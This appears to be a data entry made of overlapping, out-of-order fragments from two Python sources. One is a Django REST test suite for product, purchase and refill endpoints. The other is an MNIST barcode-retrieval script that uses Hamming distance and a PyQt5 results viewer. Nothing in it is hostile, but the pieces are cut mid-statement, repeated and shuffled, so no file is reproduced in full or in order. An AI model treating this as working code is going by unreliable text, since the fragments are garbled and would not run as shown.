"product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty -",
"core.models import ProductsTbl, PurchaseTransactionTbl # Create your tests here. class TestProductViews(APITestCase): def setUp(self):",
"= self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase):",
"PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self):",
"= self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity': 50} qty = self.product.quantity",
"ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res = self.client.delete( reverse('purchases-detail',",
"test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code,",
"self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100, } res =",
"self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def",
"10215, 'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00 } def test_cannot_create_products(self): res = self.client.post(self.product_url)",
"{'purchased_quantity': 50} qty = self.product.quantity old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty =",
"qty = self.product.quantity old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty = qty -",
"TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data = { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09',",
"django.shortcuts import reverse from rest_framework import status from core.models import ProductsTbl, PurchaseTransactionTbl #",
"new_qty = data['purchased_quantity'] qty = qty - (new_qty - old_qty) res = self.client.put(self.purchase_detail_url,",
"data['purchased_quantity'] qty = qty - (new_qty - old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty",
"{ 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity': 90, } self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>',",
"= data['purchased_quantity'] qty = qty - (new_qty - old_qty) res = self.client.put(self.purchase_detail_url, data)",
"} quantity = self.product.quantity new_qty = quantity+data['refill_count'] res = self.client.post(self.url,data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity",
"= product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'],",
"= qty - (new_qty - old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity",
"setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url = reverse('refill-list') def",
"self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty",
"qty - (new_qty - old_qty) res = self.client.put(self.purchase_detail_url, data) check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code,",
"quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url = reverse(",
"'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res",
"self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity': 50} qty = self.product.quantity old_qty",
"self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity new_qty",
"name='<NAME>', quantity=105, unit_price=100.00 ) qty = product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty =",
"test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty = product.quantity res",
"product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty = product.quantity res =",
"self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity'])",
"import reverse from rest_framework import status from core.models import ProductsTbl, PurchaseTransactionTbl # Create",
"def test_create_purchase_with_data(self): product = ProductsTbl.objects.create( product_id=10215, name='<NAME>', quantity=105, unit_price=100.00 ) qty = product.quantity",
"APITestCase from django.shortcuts import reverse from rest_framework import status from core.models import ProductsTbl,",
"res = self.client.delete( reverse('purchases-detail', kwargs={'pk': 100})) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity",
"self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url = reverse('refill-list') def test_cannot_refill(self):",
"self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty, (qty - self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url)",
"product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 ) self.purchase_detail_url",
"self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data",
"def test_delete_purchase(self): qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty =",
"import status from core.models import ProductsTbl, PurchaseTransactionTbl # Create your tests here. class",
"test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100, } res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND)",
"self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)",
"ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product, purchase_id='d6asd65asd654as5d4', purchased_quantity=75 )",
"'product_id':1000, 'refill_count':100, } res = self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={",
") self.purchase_detail_url = reverse( 'purchases-detail', kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code,",
"quantity=105, unit_price=100.00 ) qty = product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get(",
"res = self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'],",
"self.purchase_data['purchased_quantity'])) def test_cannot_update_purchase(self): res = self.client.put(self.purchase_detail_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_update_purchase(self): data = {'purchased_quantity':",
"check_qty = ProductsTbl.objects.get(id=self.product.pk).quantity self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data['purchased_quantity'], data['purchased_quantity']) self.assertEqual(qty, check_qty) def test_cannot_delete_purchase(self): res =",
"= self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity",
"class TestRefillView(APITestCase): def setUp(self): self.product = ProductsTbl.objects.create( product_id=10001, name='<NAME>', quantity=100, unit_price=2500 ) self.url",
"= ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'], self.purchase_data['purchased_quantity']) self.assertEqual( new_qty,",
"product.quantity res = self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id'])",
"old_qty = self.purchase.purchased_quantity new_qty = data['purchased_quantity'] qty = qty - (new_qty - old_qty)",
"PurchaseTransactionTbl # Create your tests here. class TestProductViews(APITestCase): def setUp(self): self.product_url = reverse('products-list')",
"from django.shortcuts import reverse from rest_framework import status from core.models import ProductsTbl, PurchaseTransactionTbl",
"res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(new_qty, (qty + purchase_quantity)) class",
"test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity new_qty = quantity+data['refill_count'] res",
"self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url)",
"status.HTTP_404_NOT_FOUND) def test_delete_purchase(self): qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty",
"reverse from rest_framework import status from core.models import ProductsTbl, PurchaseTransactionTbl # Create your",
"test_cannot_refill(self): res = self.client.post(self.url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_refill_wrong_data(self): data = { 'product_id':1000, 'refill_count':100,",
"res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res = self.client.post(self.purchase_url, self.purchase_data) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)",
"self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'], self.product_data['name']) self.assertEqual(res.data['quantity'], self.product_data['quantity']) class TestPurchaseViews(APITestCase): def setUp(self):",
"kwargs={'pk': self.purchase.pk}) def test_cannot_create_purchase(self): res = self.client.post(self.purchase_url) self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_cannot_create_purchase_wrong_data(self): res =",
"self.client.post(self.purchase_url, self.purchase_data) new_qty = ProductsTbl.objects.get( product_id=res.data['product_id']).quantity self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.purchase_data['product_id']) self.assertEqual(res.data['purchase_id'], self.purchase_data['purchase_id']) self.assertEqual(res.data['purchased_quantity'],",
"def setUp(self): self.purchase_url = reverse('purchases-list') self.purchase_data = { 'product_id': 10215, 'purchase_id': '8d7qdouiabnsdodAY9DQJp09', 'purchased_quantity':",
"data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity",
"self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST) def test_create_product(self): res = self.client.post(self.product_url, self.product_data) self.assertEqual(res.status_code, status.HTTP_201_CREATED) self.assertEqual(res.data['product_id'], self.product_data['product_id']) self.assertEqual(res.data['name'],",
"} self.product = ProductsTbl.objects.create( product_id=10216, name='<NAME>', quantity=100, unit_price=100.00 ) self.purchase = PurchaseTransactionTbl.objects.create( product=self.product,",
"status from core.models import ProductsTbl, PurchaseTransactionTbl # Create your tests here. class TestProductViews(APITestCase):",
"self.client.post(self.url, data) self.assertEqual(res.status_code, status.HTTP_404_NOT_FOUND) def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity =",
"reverse('products-list') self.product_data = { 'product_id': 10215, 'name': '<NAME>', 'quantity': 105, 'unit_price': 100.00 }",
"qty = self.product.quantity purchase_quantity = self.purchase.purchased_quantity res = self.client.delete(self.purchase_detail_url) new_qty = ProductsTbl.objects.get(id=self.product.id).quantity self.assertEqual(res.status_code,",
"def test_refill(self): data ={ 'product_id':self.product.product_id, 'refill_count':1000 } quantity = self.product.quantity new_qty = quantity+data['refill_count']"
] |
[
"corresponds to the minimum hamming distance imageLoc = None # result image location",
"np.array(rotated_image) # get 2d representation of the rotated image for row in image2d:",
"loop thorugh every file in the directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking image",
"resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii",
"= create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None for",
"currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD <",
"0: continue elif currentHMD < minHMD: minHMD = currentHMD minBarcode = barcode imageLoc",
"f.readline() f.close() # read barcode and image location from barcodes.txt file imageLocations =",
"os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc",
"calculate and display the accuracy input(\"Yes I have read the above notes. Press",
"row to 1 or 0 based on calculated threshold if row_sum >= thresholds[currentProjectionThreshold]:",
"np import constants import os import math import matplotlib.pyplot as plt import time",
"to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for imageName in os.listdir(directory):",
"return fig import matplotlib # Make sure that we are using QT5 matplotlib.use('Qt5Agg')",
"if int(resultDigitGroup) == int(searchDigitGroup): success = True return success, minHMD, imageLoc, minBarcode class",
"distance 0 means the barcodes are identical which means they are the same",
"= barcodes self.imageLocations = imageLocations def calculateAccuracy(self): accuracy = lambda x : x",
"pixel = pixel / 255 # since we have either 0 or 255",
"hitRatio = accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success = False #",
"def hammingDistance(v1, v2): t = 0 for i in range(len(v1)): if v1[i] !=",
"distance imageLoc = None # result image location for i, barcode in enumerate(self.barcodes):",
"ret2, th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold it",
"# barcode that corresponds to the minimum hamming distance imageLoc = None #",
"# loop through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path",
"9): \")) while digitFolder >= 0 and digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder)",
"It is (maxiumum hamming distance + 1) by default minBarcode = None #",
"= hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD < minHMD:",
"self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s: successCount",
"0 or 1 which is there is pixel or there is not row_sum+=pixel",
"while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close() # read barcode",
"currentHMD == 0: continue elif currentHMD < minHMD: minHMD = currentHMD minBarcode =",
"Minimum Hamming Distance. It is (maxiumum hamming distance + 1) by default minBarcode",
"I have read the above notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter a number",
"# set the current barcode as imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0]",
"< minHMD: # if the current calculated hamming distance is less than the",
"results\") input(\"Yes I have read the above notes. Press Enter to continue...\") fig",
"self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show",
"representation of the rotated image for row in image2d: # loop through each",
"Once\") input(\"Yes I have read the above notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter",
"= CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and display",
"will get Calculate Accuracy Hit Ratio \") input(\"Yes I have read the above",
"digit folder path for imageName in os.listdir(directory): # loop thorugh every file in",
"print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns = 2,",
"0 based on calculated threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree",
"or there is not row_sum+=pixel # sum of pixels across a single row",
"minimum hamming distance imageLoc = None # result image location for i, barcode",
"math import matplotlib.pyplot as plt import time def hammingDistance(v1, v2): t = 0",
"hamming distance is less than the minimum hamming distance minHMD = currentHMD #",
"= np.array(rotated_image) # get 2d representation of the rotated image for row in",
"resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2)",
"we are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from PyQt5 import QtWidgets",
"to get 0 or 1 which is there is pixel or there is",
"PIL import Image import numpy as np import constants import os import math",
"hamming distance + 1) by default minBarcode = None # barcode that corresponds",
"resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i",
"successCount = 0 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1",
"row in image2d: # loop through each row in thresholded image row_sum =",
"# rotate the image image2d = np.array(rotated_image) # get 2d representation of the",
"9 to search image\") print(\"Enter a number smaller than 0 or greater than",
"loop through each pixel in the row pixel = pixel / 255 #",
"list thresholds = [] with open('./thresholds.txt', 'r') as f: threshold = f.readline() while",
"in enumerate(os.listdir(directory)): print(c , \" - \", imageName) selectImage = int(input(\"select image from",
"the directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc,",
"selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None",
"barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD < minHMD: minHMD =",
"sum of pixels across a single row # thresholds the sum of the",
"the search menu\") print(\"Once you exit Search Menu you will get Calculate Accuracy",
"of these not same if currentHMD == 0: # hamming distance 0 means",
"i, imageName in zip((i for i in range(1, 20, 2)), os.listdir(directory)): # loop",
"smaller than 0 or greater than 9 to exit the search menu\") print(\"Once",
"based on calculated threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree +=",
"\", imageName) selectImage = int(input(\"select image from above list: \")) selectedImagePath = os.path.join(directory,",
"# Make sure that we are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt",
"print(\"Show All Results at Once\") input(\"Yes I have read the above notes. Press",
"not row_sum+=pixel # sum of pixels across a single row # thresholds the",
"self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success = True return",
"0 for i in range(len(v1)): if v1[i] != v2[i]: t += 1 return",
"currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) #",
"from create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\")",
"folder path for i, imageName in zip((i for i in range(1, 20, 2)),",
"t += 1 return t # read thresholds from thresholds.txt and then store",
"!= v2[i]: t += 1 return t # read thresholds from thresholds.txt and",
"degree < constants.MAX_DEGREE: # loop through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold =",
"Distance. It is (maxiumum hamming distance + 1) by default minBarcode = None",
"matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow):",
"image file as cv2 image # ret2, th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY",
"menu\") print(\"Once you exit Search Menu you will get Calculate Accuracy Hit Ratio",
"a pixel value divide this number by 255 to get 0 or 1",
"NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for i, imageName in zip((i",
"images in the dataset and finding results...\") print(\"Once you get the window maximize",
"plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder =",
"r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)): print(c , \" - \", imageName) selectImage",
"to exit the search menu\") print(\"Once you exit Search Menu you will get",
"path for imageName in os.listdir(directory): # loop thorugh every file in the directory",
"barcode as imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if int(resultDigitGroup) == int(searchDigitGroup):",
"as np import constants import os import math import matplotlib.pyplot as plt import",
"ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout())",
"Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\")",
"is (maxiumum hamming distance + 1) by default minBarcode = None # barcode",
"it just makes pixel values either black or white img = Image.fromarray(opcv) #",
"many of these not same if currentHMD == 0: # hamming distance 0",
"searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\")",
"= cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage)",
"imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath)",
"minHMD: minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD))",
"resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9,",
"enumerate(self.barcodes): # loop through every barcode in the barcodes list currentHMD = hammingDistance(",
"self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit",
"if __name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show All Results",
"in the row pixel = pixel / 255 # since we have either",
"big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1)",
"# loop through every barcode in the barcodes list currentHMD = hammingDistance( barcode,",
"thresholded image row_sum = 0 # initialize row pixel counter for pixel in",
"calculated threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE return",
"barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD ==",
"than 9 to exit the search menu\") print(\"Once you exit Search Menu you",
"2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows,",
"v1[i] != v2[i]: t += 1 return t # read thresholds from thresholds.txt",
"the directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory,",
"how many of these not same if currentHMD == 0: # hamming distance",
"you will get Calculate Accuracy Hit Ratio \") input(\"Yes I have read the",
"NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate",
"import numpy as np import constants import os import math import matplotlib.pyplot as",
"while degree < constants.MAX_DEGREE: # loop through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold",
"there is not row_sum+=pixel # sum of pixels across a single row #",
"calculateAccuracy(self): accuracy = lambda x : x / 100 successCount = 0 for",
"hamming distance to current calculated hamming distance minBarcode = barcode # set the",
"or 255 as a pixel value divide this number by 255 to get",
"# sum of pixels across a single row # thresholds the sum of",
"self.fig = fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav =",
"search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator",
"print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and display the accuracy input(\"Yes I have read",
"return minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter a digit (0 -",
"Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s: successCount += 1 hitRatio",
"Calculate Accuracy Hit Ratio \") input(\"Yes I have read the above notes. Press",
"from thresholds.txt and then store them into thresholds list thresholds = [] with",
"in row: # loop through each pixel in the row pixel = pixel",
"the window and scrolldown to see the results\") input(\"Yes I have read the",
"PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT",
"the accuracy input(\"Yes I have read the above notes. Press Enter to DISPLAY",
"[] with open(\"barcodes.txt\", 'r') as f: line = f.readline() while line: line =",
"as f: threshold = f.readline() while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold =",
"thresholded 2d image array barcode = [] degree = constants.MIN_DEGREE while degree <",
"in thresholded image row_sum = 0 # initialize row pixel counter for pixel",
"columns = 2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath =",
"of pixels across a single row # thresholds the sum of the row",
"plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\") plt.title(\"Result Image\") fig.add_subplot(rows, columns, 3)",
"cv2.imread(imagePath, 0) # read image file as cv2 image # ret2, th2 =",
"apply threshold it just makes pixel values either black or white img =",
"0 or 255 as a pixel value divide this number by 255 to",
"= hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD <",
"barcodes.append(barcode) line = f.readline() f.close() def create_barcode(imagePath): barcode = [] opcv = cv2.imread(imagePath,",
"we have either 0 or 255 as a pixel value divide this number",
"through every barcode in the barcodes list currentHMD = hammingDistance( barcode, searchBarcode) #",
"minBarcode = barcode imageLoc = imageLocations[i] return minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder",
